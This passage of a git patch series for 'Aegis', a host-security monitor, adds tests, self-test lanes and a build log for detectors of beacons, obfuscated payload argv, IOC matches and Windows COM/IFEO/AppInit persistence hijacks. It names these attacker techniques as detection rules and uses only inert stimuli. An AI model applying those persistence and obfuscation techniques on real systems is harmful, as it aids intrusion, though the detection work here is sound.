"notepad.exe C:\\Windows\\assay-%s.txt" % nonce) + if _sysmon_findings([(ch, "1", "t", clean)]) != []: + return False # signed-path binary, nothing in the argv + signed = ("ImageLoaded: C:\\Windows\\System32\\drivers\\vendor-%s" + ".sys Signed: true SignatureStatus: Valid" % nonce) + if _sysmon_findings([(ch, "6", "t", signed)]) != []: + return False # a validly-signed driver load is silent + if _sysmon_findings([(ch, "3", "t", hostile)]) != []: + return False # a stray EID must not fabricate a finding + # One event re-read in overlapping windows is ONE finding. + return len(_sysmon_findings([(ch, "6", "t", unsigned), + (ch, "6", "t2", unsigned)])) == 1 + except Exception: + return False + finally: + globals().update(saved) + return [ ("hostile-argv", "fetch-and-execute argv still scores hostile", lane_hostile_argv), @@ -14155,6 +14419,21 @@ def probe(): lane_glean_atoms), ("writ-enforcement", "writ escalates uncovered, adopts covered, off is inert", lane_writ_enforcement), + ("beacon-recurrence", + "outbound recurrence fires on beacon shape, not on browser churn", + lane_beacon_recurrence), + ("argv-obfuscation", + "obfuscated inline payload scores; plain and unflagged argv do not", + lane_argv_obfuscation), + ("intel-match", + "an IOC-set hash/endpoint is CRITICAL, a miss stays silent", + lane_intel_match), + ("win-evasion", + "COM/IFEO/AppInit hijack diffs fire, ordinary churn does not", + lane_win_evasion), + ("sysmon-scoring", + "Sysmon EID1/6 scoring fires; signed-and-trusted stays silent", + lane_sysmon_scoring), ("hostile-content", "shell-content grammar still matches", lane_hostile_content), ("risky-location", "volatile exec dirs still rate as risky", diff --git a/tests/test_protective_tier.py b/tests/test_protective_tier.py index b583b96..1aa1927 100644 --- a/tests/test_protective_tier.py +++ b/tests/test_protective_tier.py @@ -542,6 +542,206 @@ def test_nonces_are_not_persisted(self): self.assertNotIn("nonce", blob.lower()) +# --------------------------------------------------------------------------- # +# Assay coverage for the surfaces added in THIS release. +# +# Five detectors shipped with no positive control: outbound beacon recurrence, +# the obfuscated-inline-payload argv scorer, community-intel grading, the +# Windows COM/IFEO/AppInit diffs, and Sysmon event scoring. An unassayed +# detector is exactly how the latch bug hid — reachable-looking, permanently +# silent, and nothing fails. +# +# Every test below pins a property of the LANES, not of the detectors (those +# have their own suites). The load-bearing one is `..._asserts_both_poles`: it +# swaps the underlying detector for a dead stub AND for a hardwired-yes stub +# and requires the lane to FAIL against both. A lane that only fed hostile +# input would survive the hardwired-yes stub, which is the failure mode the +# README's both-poles rule exists to prevent. +# --------------------------------------------------------------------------- # +class TestAssayCoversTheReleaseSurfaces(ProtectiveSandbox): + + REQUIRED = ("beacon-recurrence", "argv-obfuscation", "intel-match", + "win-evasion", "sysmon-scoring") + + # lane id -> (detector global, dead stub, hardwired-yes stub) + def _vacuity_table(self): + def f(sev, cat): + return [aegis.finding(sev, cat, "stub", "stub", "stub:%s" % cat)] + return { + "beacon-recurrence": ( + "_beacon_recurrence", + lambda history, rows: [], + lambda history, rows: f("HIGH", "net-beacon")), + "argv-obfuscation": ( + "_obfuscated_payload_signals", + lambda argv, idioms: [], + lambda argv, idioms: [("obfuscated-inline-payload", "HIGH"), + ("argv-encoded-loader", "HIGH")]), + "intel-match": ( + "_intel_hash_finding", + lambda sha, path, where: None, + lambda sha, path, where: f("CRITICAL", "intel")[0]), + "win-evasion": ( + "diff_ifeo", + lambda prior, cur: [], + lambda prior, cur: f("CRITICAL", "ifeo")), + "sysmon-scoring": ( + "_sysmon_findings", + lambda rows: [], + lambda rows: f("HIGH", "sysmon")), + } + + def setUp(self): + ProtectiveSandbox.setUp(self) + # The intel lane must be provably independent of the operator's real + # feed files: point them at sandbox paths holding junk, and reset the + # memo so a leak would show up as a lane failure rather than as a pass + # borrowed from whatever is cached. + self._intel_saved = { + k: getattr(aegis, k) for k in + ("INTEL_BAZAAR_FILE", "INTEL_THREATFOX_FILE", "_INTEL_CACHE")} + for name in ("INTEL_BAZAAR_FILE", "INTEL_THREATFOX_FILE"): + p = os.path.join(self.state, "junk-%s.json" % name.lower()) + with open(p, "w", encoding="utf-8") as fh: + fh.write('{"hashes": ["not-a-hash"], "net": {"x": 1}}') + setattr(aegis, name, p) + aegis._INTEL_CACHE = None + + def tearDown(self): + for k, v in self._intel_saved.items(): + setattr(aegis, k, v) + ProtectiveSandbox.tearDown(self) + + def _lane(self, lane_id): + lanes = {lid: fn for lid, _d, fn in aegis._assay_lanes()} + self.assertIn(lane_id, lanes, + "no positive control for %s" % lane_id) + return lanes[lane_id] + + def _asserts_both_poles(self, lane_id): + """A lane must fail against a DEAD detector and against a hardwired-yes + one. Only a control that feeds both poles can do both.""" + detector, dead, always = self._vacuity_table()[lane_id] + real = getattr(aegis, detector) + try: + setattr(aegis, detector, dead) + self.assertFalse(self._lane(lane_id)("nonce%s" % lane_id), + "%s passed against a DEAD %s — the lane never " + "checks the hostile pole" % (lane_id, detector)) + setattr(aegis, detector, always) + self.assertFalse(self._lane(lane_id)("nonce%s" % lane_id), + "%s passed against a hardwired-yes %s — the lane " + "never checks the benign pole" + % (lane_id, detector)) + finally: + setattr(aegis, detector, real) + + # --- presence + currently holds --------------------------------------- + def test_every_new_release_surface_has_a_lane(self): + lanes = {lid for lid, _d, _f in aegis._assay_lanes()} + for required in self.REQUIRED: + self.assertIn(required, lanes, + "detector %r shipped with no positive control" + % required) + + def test_each_new_lane_passes_and_is_nonce_parametric(self): + """Passing for one nonce could be a hardcoded fixture; passing for + several proves the stimulus is really built from the nonce.""" + for lane_id in self.REQUIRED: + fn = self._lane(lane_id) + for nonce in ("0011223344556677", "a" * 16, "f0f0f0f0f0f0f0f0"): + self.assertTrue(fn(nonce), "lane %r failed for nonce %r" + % (lane_id, nonce)) + + # --- the both-poles rule, enforced per lane --------------------------- + def test_beacon_recurrence_lane_asserts_both_poles(self): + self._asserts_both_poles("beacon-recurrence") + + def test_argv_obfuscation_lane_asserts_both_poles(self): + self._asserts_both_poles("argv-obfuscation") + + def test_intel_match_lane_asserts_both_poles(self): + self._asserts_both_poles("intel-match") + + def test_win_evasion_lane_asserts_both_poles(self): + self._asserts_both_poles("win-evasion") + + def test_sysmon_scoring_lane_asserts_both_poles(self): + self._asserts_both_poles("sysmon-scoring") + + # --- containment: what these lanes must NOT touch --------------------- + def test_the_new_lanes_open_no_socket(self): + """None of these five surfaces needs the network to be proven, and the + intel one would be a live IOC lookup if it did.""" + import socket + real = socket.socket + + def refuse(*a, **k): + raise AssertionError("an assay lane opened a socket") + try: + socket.socket = refuse + for lane_id in self.REQUIRED: + self.assertTrue(self._lane(lane_id)("5" * 16), lane_id) + finally: + socket.socket = real + + def test_the_new_lanes_write_no_state(self): + """The assay tier writes assay.json and nothing else. A lane that + recorded an observation or an incident would make running the + self-test change the data the self-test is about.""" + before = sorted(os.listdir(self.state)) + for lane_id in self.REQUIRED: + self.assertTrue(self._lane(lane_id)("6" * 16), lane_id) + self.assertEqual(before, sorted(os.listdir(self.state))) + self.assertFalse(os.path.exists(aegis.OBSERVATIONS_DIR)) + + def test_the_intel_lane_ignores_the_real_feed_files(self): + """It passes with the feed files holding junk, and leaves the memo + exactly as it found it — so it can never be a lookup against whatever + the operator happens to have downloaded.""" + self.assertTrue(self._lane("intel-match")("7" * 16)) + self.assertIsNone(aegis._INTEL_CACHE) + + def test_the_windows_lanes_run_on_this_host_either_way(self): + """The author's machine is macOS. These diffs are pure over dicts, so a + Windows-gated lane would be a control that is never actually run — the + exact shape of unproven coverage the assay tier exists to expose.""" + saved = aegis.IS_WIN + try: + for flag in (False, True): + aegis.IS_WIN = flag + for lane_id in ("win-evasion", "sysmon-scoring"): + self.assertTrue(self._lane(lane_id)("8" * 16), + "lane %r failed with IS_WIN=%s" + % (lane_id, flag)) + finally: + aegis.IS_WIN = saved + + def test_the_windows_lanes_restore_the_platform_globals(self): + """They must patch the platform flags to grade literal Windows paths — + and leaking IS_WIN or a synthetic prefix table into the process would + silently re-grade every later sensor in the same run.""" + watched = ("IS_WIN", "IS_MAC", "IS_LINUX", "TRUSTED_PREFIXES", + "RISKY_PREFIXES") + before = {k: getattr(aegis, k) for k in watched} + for lane_id in ("win-evasion", "sysmon-scoring"): + self.assertTrue(self._lane(lane_id)("9" * 16), lane_id) + for k in watched: + self.assertEqual(before[k], getattr(aegis, k), + "lane %r leaked %s" % (lane_id, k)) + + def test_the_argv_lane_uses_an_inert_nonce_tagged_blob(self): + """No real payload, ever: the encoded stimulus must be built from the + nonce at runtime, so nothing resembling a live loader is committed.""" + import inspect + src = inspect.getsource(aegis._assay_lanes) + self.assertNotIn("EICAR", src.upper()) + start = src.index("def lane_argv_obfuscation") + body = src[start:src.index("def ", start + 10)] + self.assertIn("nonce", body) + self.assertIn("AEGIS-ASSAY-INERT", body) + + # --------------------------------------------------------------------------- # # Clipboard interdiction # --------------------------------------------------------------------------- # From 1f412ed27974d8cc68be974be5f05ebe89e6e9fe Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 13:44:54 -0700 Subject: [PATCH 10/11] docs(aegis): record the recall build, and pin the benign notes that never rendered MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit BATTLE-LOG gains the /doit build entry (4 detection surfaces, 4 opt-in tiers, 7 parallel branches), including the two defects found while building rather than shipped broken, and the CI failure that was a test's fault rather than the product's. The benign-note fix that rode along in abb728d gets its regression pin here: _benign_note_for does an exact lookup on the finding CATEGORY, so three notes keyed on the SURFACE id ("browserext", "ide_ext", "wallet") rendered for nobody — on browser extensions, editor extensions and wallet integrity, three of the most false-positive-prone surfaces in the tool. Pinned per-category rather than by scraping finding() call sites, because those categories are also emitted from multi-line calls with a variable severity that no source regex reads reliably. README's suite count was three releases stale (651 -> 812). Co-Authored-By: Claude Fable 5 --- BATTLE-LOG.md | 64 +++++++++++++++++++++++++++++++++++ README.md | 2 +- tests/test_research_layers.py | 21 ++++++++++++ 3 files changed, 86 insertions(+), 1 deletion(-) diff --git a/BATTLE-LOG.md b/BATTLE-LOG.md index 38cf233..7c327a7 100644 --- a/BATTLE-LOG.md +++ b/BATTLE-LOG.md @@ -1,3 +1,67 @@ +# Aegis — Recall build (2026-08-11, `/doit`: 4 detection surfaces, 4 opt-in tiers, 7 parallel branches) + +The prior passes hardened what Aegis already detected. This one answered a +different question — *what does it structurally fail to see?* — and the honest +answer was: the rung attackers move to **because** the watched surfaces are +watched, the residue shapes that only recurrence reveals, the encoded payload no +idiom table can enumerate, and community intel the tool refused on local-only +grounds it had already learned to thread. Eight items, seven parallel branches, +each tests-first with captured fail-before evidence, merged and verified as one. + +The build's own headline is a **measurement**, not a feature: the obfuscated-argv +detector's first draft flagged 2 of 611 live processes — a test harness's own +`bash -c` argv carrying hex-UUID scratchpad paths at 4.84 bits/char, over the +4.5 entropy floor. The fix was not a higher threshold (which would blind the +detector to real payloads) but an **alphabet-purity** rule: `+/` mixed with `-_` +decodes under no base64 flavour, and that mix is precisely what a UUID path is. +Re-measured: 0 of 611. The FP class is pinned by test, so the tightening cannot +silently regress into the threshold it replaced. + +| # | Layer added | Shape | Tier | +|---|-------------|-------|------| +| 1 | **Windows persistence-evasion rung** | COM hijacking (`HKCU\...\CLSID\*\InprocServer32`/`LocalServer32`, T1546.015) → HIGH on a user-writable target; IFEO `Debugger` + `SilentProcessExit\MonitorProcess` (T1546.012/.008) → **CRITICAL** on an accessibility binary (sethc/utilman/osk/magnify/narrator/displayswitch), HIGH otherwise; AppInit_DLLs (T1546.010) → HIGH. Baseline-diffed, adopted on first sight. The rung an attacker reaches for *because* Run keys, schtasks and Winlogon are already watched. | detection (Windows) | +| 2 | **Sysmon harvest** | Where the `Microsoft-Windows-Sysmon/Operational` channel exists: EID 1 scored through the **existing** argv machinery (no second grammar to drift), EID 6 unsigned driver → HIGH, EID 25 process tampering → HIGH. Channel absent = sensor **absent**, never DEGRADED — Sysmon not being installed is not a coverage gap. | detection (Windows) | +| 3 | **Outbound beacon recurrence** | `check_outbound` could not baseline-diff (a browser opens hundreds) and said so; **recurrence keys on the opposite invariant** — browser churn does not survive between scans, a C2 pair does. Same `(binary, ip:port)` live now **and** in ≥3 stored scans spanning ≥45 min, non-browser, non-trusted-prefix, unsigned-or-user-writable → HIGH. Stored in the existing observation store; current-scan presence is required so a vanished binary cannot emit a 45-day zombie. | detection | +| 4 | **Obfuscated-payload argv** | Gate 1 (mandatory): interpreter **+ inline-code flag** — so Electron/JWT/cloud-CLI argv is structurally out of scope, not merely tuned out. Gate 2: a ≥100-char base64 run at ≥4.5 bits/char that actually **decodes**, or an in-process decode+exec composition. MEDIUM alone (corroboration fodder), HIGH with a fetch idiom. `powershell -enc` defers to the existing rule: one argv, one strongest finding. | detection | +| 5 | **Community IOC intel** | `intel update|status` — MalwareBazaar + ThreatFox recent exports, no key, **by hand**, `urllib` lazy-imported exactly like `vt`. The scan grades hashes it **already computes** and outbound endpoints against the local sets → CRITICAL with feed, family, first_seen. Pinned by a structural test that runs a full scan with `urlopen`, `create_connection` **and** `getaddrinfo` all replaced with raisers: the local-only guarantee stays literally true, not merely intended. | reputation (opt-in) | +| 6 | **Root-owned witness (`rootwatch`)** | Closes the gap the README stated and could not fix: a same-uid attacker kills Aegis and its user-level watchdog together, and the notary only makes that evident *later*. The privileged component is a generated **59-line** script — line count and import set **pinned by tests**, because the smallness *is* the security argument — run by a root LaunchDaemon/systemd timer, reading one heartbeat and alerting through a root-owned log, syslog and the user's session. Never `sys.executable` (often a `$HOME` venv, itself an escalation); never writes into `~/.aegis`; non-root invocation mutates nothing and prints one sudo line. | survivability (opt-in, root) | +| 7 | **`setup` + `update-check`** | The strongest tiers shipped **dormant** — canary, latch, decoy, guard, deadfall all opt-in and therefore off on most installs. `setup` walks them with one benefit-and-cost sentence each, default No, and **orchestrates the existing `cmd_*`** rather than reimplementing them (proven zero-mutation on all-No, idempotent on re-run). `update-check` catches the silent rot the README warned about in prose: the `~/.aegis` runtime copy staling behind an edited repo. | usability | +| 8 | **Menu-bar status** | `menubar/aegis-status.30s.py` (xbar/SwiftBar, stdlib, never imports `aegis.py`): 🛡️ healthy · ⚠️ N incidents · 💀 **monitor not beating** — the state the plugin exists for. Structurally read-only (`mode=ro&immutable=1`), proven by a full before/after sandbox inventory on **every** invocation across 19 tests; hostile incident text is `|`-sanitized so it cannot forge xbar params. | usability | + +## Found while building (not shipped broken) + +| Where | Defect | Fix | +|-------|--------|-----| +| `SENSOR_BENIGN_NOTES` | **Three benign-cause notes were dead code.** `_benign_note_for()` does an exact dict lookup on the finding *category*, but three notes were keyed on the *surface id* — `browserext`, `ide_ext`, `wallet` — while those sensors emit `browser-ext`, `ide-ext`, `wallet-integrity`. So the incident card's promise ("KNOWN BENIGN CAUSES for the sensors that fired, so triage is a lookup rather than an investigation") silently rendered **nothing** for browser and editor extensions — the two most FP-prone surfaces in the tool, and the exact ones whose notes say "extensions you installed yourself" and "auto-update re-fires this". | keys corrected to the category spelling; per-category test pinning all three (deliberately not a source-regex scraper: these categories are also emitted from multi-line calls with a variable severity, which no regex reads reliably) | +| `_parse_win_events` contract | The Sysmon harvest initially treated a probe failure as an empty window — the "an unanswered process table is not an empty one" defect this repo has already paid for twice. | non-answer returns `None` and DEGRADES; separate sentinel for "channel readable but read errored"; both poles tested | + +**Guardrails honored:** the scan path still makes **zero** network calls (intel +is by-hand, and the structural test proves the scan cannot reach the network even +with feeds present); nothing new fires automatically off a heuristic; the one +privileged component is opt-in, root-owned, and small enough to audit in a +glance; every Windows sensor is a pure function over registry/event dicts so it +is testable on any OS *and* exercised against a real Windows kernel in CI; and +absent-vs-degraded is respected everywhere (no Sysmon, no intel, no `rootwatch` +⇒ silent, never a manufactured coverage gap). + +**Verified:** full suite green (798 tests at merge, up from 671) on all five CI +runners including two real Windows kernels; a live end-to-end scan on the +author's machine (59s cold, 19s warm, one aggregated notification, only true +positives already known to that machine, **zero** false positives from any new +detector); the obfuscated-argv 0-of-611 live measurement above; and the intel +tier exercised against the real fetched corpus (2,098 hashes + 2,715 endpoints +loaded, sensor status OK, this machine clean, feed files unmodified by the scan). + +**One CI defect, and it was a test's fault, not the product's:** both Windows +jobs failed identically because the `update-check` drift assertions rebuilt their +expected string from a bare `_SELF_PATH`, while `_refresh_line()` **quotes** the +path on Windows — correctly, since the reference machine's repo path contains +both spaces and `&`. The fix makes the test use `_refresh_line()` as its own +oracle rather than re-deriving its quoting rule, so the mismatch is now +structurally impossible rather than merely corrected. + +--- + # Aegis — a governed battle-test: three loud rounds, sixteen defects (2026-08-05) A single `/battle-test` run under `/fable-mode` governance: right-size, hunt across diff --git a/README.md b/README.md index 1c19a4b..a34e03d 100644 --- a/README.md +++ b/README.md @@ -707,7 +707,7 @@ Developer-ID/Apple binaries are not over-flagged; `/bin/bash` classifies `apple` First-run against this machine correctly baselined 67 persistence items silently and flagged the disabled firewall. -The `tests/` regression suite (**651 tests**, stdlib-only, fully sandboxed — never +The `tests/` regression suite (**812 tests**, stdlib-only, fully sandboxed — never touches real `~/.aegis` or fires a notification) pins the fixes from the adversarial hardening pass ([BATTLE-LOG.md](BATTLE-LOG.md)) plus the research-grounded detection surfaces added since: a signed interpreter + hostile diff --git a/tests/test_research_layers.py b/tests/test_research_layers.py index f1b172e..91b5b35 100644 --- a/tests/test_research_layers.py +++ b/tests/test_research_layers.py @@ -489,6 +489,27 @@ def test_known_benign_causes_surface_for_the_incident(self): self.assertTrue(notes) self.assertTrue(any("persistence" in n for n in notes)) + def test_every_benign_note_is_keyed_on_a_reachable_category(self): + """_benign_note_for does an EXACT dict lookup on the finding category, + so a note keyed on a SURFACE id instead is dead code that renders for + nobody. Three were: "browserext", "ide_ext" and "wallet" — the surface + ids — while the categories those sensors actually emit are + "browser-ext", "ide-ext" and "wallet-integrity". The two extension + surfaces are the most false-positive-prone ones in the tool, so the + notes that never rendered were exactly the notes triage needed most. + + Pinned per-category rather than by scraping finding() call sites: the + categories are also emitted from multi-line calls with a variable + severity, which no source regex reads reliably. + """ + for category in ("browser-ext", "ide-ext", "wallet-integrity"): + with self.subTest(category=category): + inc = self._one_incident(category=category) + notes = aegis._benign_note_for(aegis.incident_detail(inc)) + self.assertTrue( + any(category in n for n in notes), + "no benign-cause note rendered for %r" % category) + def test_chronically_dismissed_sensor_is_down_weighted(self): now = int(time.time()) db = aegis._event_connection() From 102530f9bef1116df52a843d926f9b6b321eb9f0 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 14:16:41 -0700 Subject: [PATCH 11/11] fix(aegis): the two macOS installers disagreed on every resource key MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit install.sh has always written ProcessType=Background, LowPriorityIO, Nice=10 and ThrottleInterval=30. The Python port dropped all four, while the README says the two "do the same thing" — so the cross-platform path, which is the one `update-check` tells you to run, produced a monitor that scans un-niced at normal IO priority for about a minute at a time, and in watch mode had no bound on KeepAlive respawn: a crash-looping watch relaunches roughly once a second instead of every 30. Found by diffing this machine's deployed plist before and after refreshing its own agent — the only place the two installers' output actually meets. Pinned by parity rather than by a hardcoded list, so whichever installer gains a resource key next, the other has to match. Co-Authored-By: Claude Fable 5 --- BATTLE-LOG.md | 1 + aegis.py | 11 +++++++++++ tests/test_regression.py | 42 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 54 insertions(+) diff --git a/BATTLE-LOG.md b/BATTLE-LOG.md index 7c327a7..d3f2797 100644 --- a/BATTLE-LOG.md +++ b/BATTLE-LOG.md @@ -34,6 +34,7 @@ silently regress into the threshold it replaced. |-------|--------|-----| | `SENSOR_BENIGN_NOTES` | **Three benign-cause notes were dead code.** `_benign_note_for()` does an exact dict lookup on the finding *category*, but three notes were keyed on the *surface id* — `browserext`, `ide_ext`, `wallet` — while those sensors emit `browser-ext`, `ide-ext`, `wallet-integrity`. So the incident card's promise ("KNOWN BENIGN CAUSES for the sensors that fired, so triage is a lookup rather than an investigation") silently rendered **nothing** for browser and editor extensions — the two most FP-prone surfaces in the tool, and the exact ones whose notes say "extensions you installed yourself" and "auto-update re-fires this". | keys corrected to the category spelling; per-category test pinning all three (deliberately not a source-regex scraper: these categories are also emitted from multi-line calls with a variable severity, which no regex reads reliably) | | `_parse_win_events` contract | The Sysmon harvest initially treated a probe failure as an empty window — the "an unanswered process table is not an empty one" defect this repo has already paid for twice. | non-answer returns `None` and DEGRADES; separate sentinel for "channel readable but read errored"; both poles tested | +| `_install_mac` vs `install.sh` | **The two macOS installers disagreed, and the README called them equivalent.** `install.sh` has always written `ProcessType=Background`, `LowPriorityIO`, `Nice=10`, `ThrottleInterval=30`; the Python port dropped all four. So anyone following the cross-platform path — including the refresh line `update-check` itself prints — got a monitor that scans un-niced at normal IO priority for ~a minute at a time, and in **watch** mode had no bound on `KeepAlive` respawn (a crash-looping watch relaunches about once a second instead of every 30). Found by diffing the deployed plist before and after refreshing this machine's own agent, which is the only place the two installers' output meets. | four keys restored to `_install_mac`; pinned by a **parity** test (`test_both_installers_agree_on_the_resource_keys`) rather than a hardcoded list, so whichever installer gains a resource key next, the other must match; fail-before captured at 5 failures | **Guardrails honored:** the scan path still makes **zero** network calls (intel is by-hand, and the structural test proves the scan cannot reach the network even diff --git a/aegis.py b/aegis.py index 20894d7..763821e 100755 --- a/aegis.py +++ b/aegis.py @@ -14940,6 +14940,17 @@ def _install_mac(runtime, mode, interval): ' ProgramArguments\n \n%s \n' '%s' ' RunAtLoad\n \n' + # Resource politeness, and not cosmetic: a full scan spawns many + # short-lived subprocesses for ~a minute, so an un-niced monitor is felt + # on a laptop. ThrottleInterval additionally bounds KeepAlive respawn in + # watch mode — without it a crash-looping watch is relaunched about once + # a second instead of every 30. install.sh has always written these + # four; this Python port dropped them, so the two installers disagreed + # while the README called them equivalent. + ' ProcessType\n Background\n' + ' LowPriorityIO\n \n' + ' Nice\n 10\n' + ' ThrottleInterval\n 30\n' ' StandardOutPath\n %s\n' ' StandardErrorPath\n %s\n' ' \n\n' diff --git a/tests/test_regression.py b/tests/test_regression.py index d65536f..0263352 100644 --- a/tests/test_regression.py +++ b/tests/test_regression.py @@ -2766,6 +2766,48 @@ def test_watch_mode_valid_keepalive_and_copy(self): self.assertTrue(d.get("KeepAlive")) self.assertNotIn("StartInterval", d) + # The README says `bash install.sh` and `aegis.py install` "do the same + # thing" on macOS. They did not: the Python port dropped the four resource + # keys install.sh has always written, so anyone following the cross-platform + # path — including the refresh line `update-check` prints — got a monitor + # with no niceness, no low-priority IO, and (in watch mode) no bound on + # KeepAlive respawn. Asserting PARITY rather than a hardcoded list is the + # point: whichever installer gains a resource key, the other must match. + _RESOURCE_KEYS = ("ProcessType", "LowPriorityIO", "Nice", "ThrottleInterval") + + def _install_py(self, *args): + env = dict(os.environ) + env["HOME"] = self.home + env["PATH"] = self.bin + os.pathsep + env["PATH"] + env["AEGIS_TESTING"] = "1" + env["AEGIS_TEST_LAUNCHCTL"] = os.path.join(self.bin, "launchctl") + r = subprocess.run([sys.executable, os.path.join(self.repo, "aegis.py"), + "install", *args], + env=env, capture_output=True, text=True) + self.assertEqual(r.returncode, 0, r.stdout + r.stderr) + plist = os.path.join(self.home, + "Library/LaunchAgents/com.charlie.aegis.plist") + lint = subprocess.run(["plutil", "-lint", plist], + capture_output=True, text=True) + self.assertIn("OK", lint.stdout, lint.stdout + lint.stderr) + with open(plist, "rb") as f: + return plistlib.load(f) + + def test_both_installers_agree_on_the_resource_keys(self): + sh = self._install("3600") + py = self._install_py("3600") + for key in self._RESOURCE_KEYS: + with self.subTest(key=key): + self.assertIn(key, sh, "install.sh lost %s" % key) + self.assertIn(key, py, "aegis.py install lost %s" % key) + self.assertEqual(sh[key], py[key], + "%s differs between the two installers" % key) + + def test_python_installer_throttles_keepalive_respawn(self): + py = self._install_py("watch", "600") + self.assertTrue(py.get("KeepAlive")) + self.assertEqual(py.get("ThrottleInterval"), 30) + def test_rejects_non_numeric_interval(self): env = dict(os.environ) env["HOME"] = self.home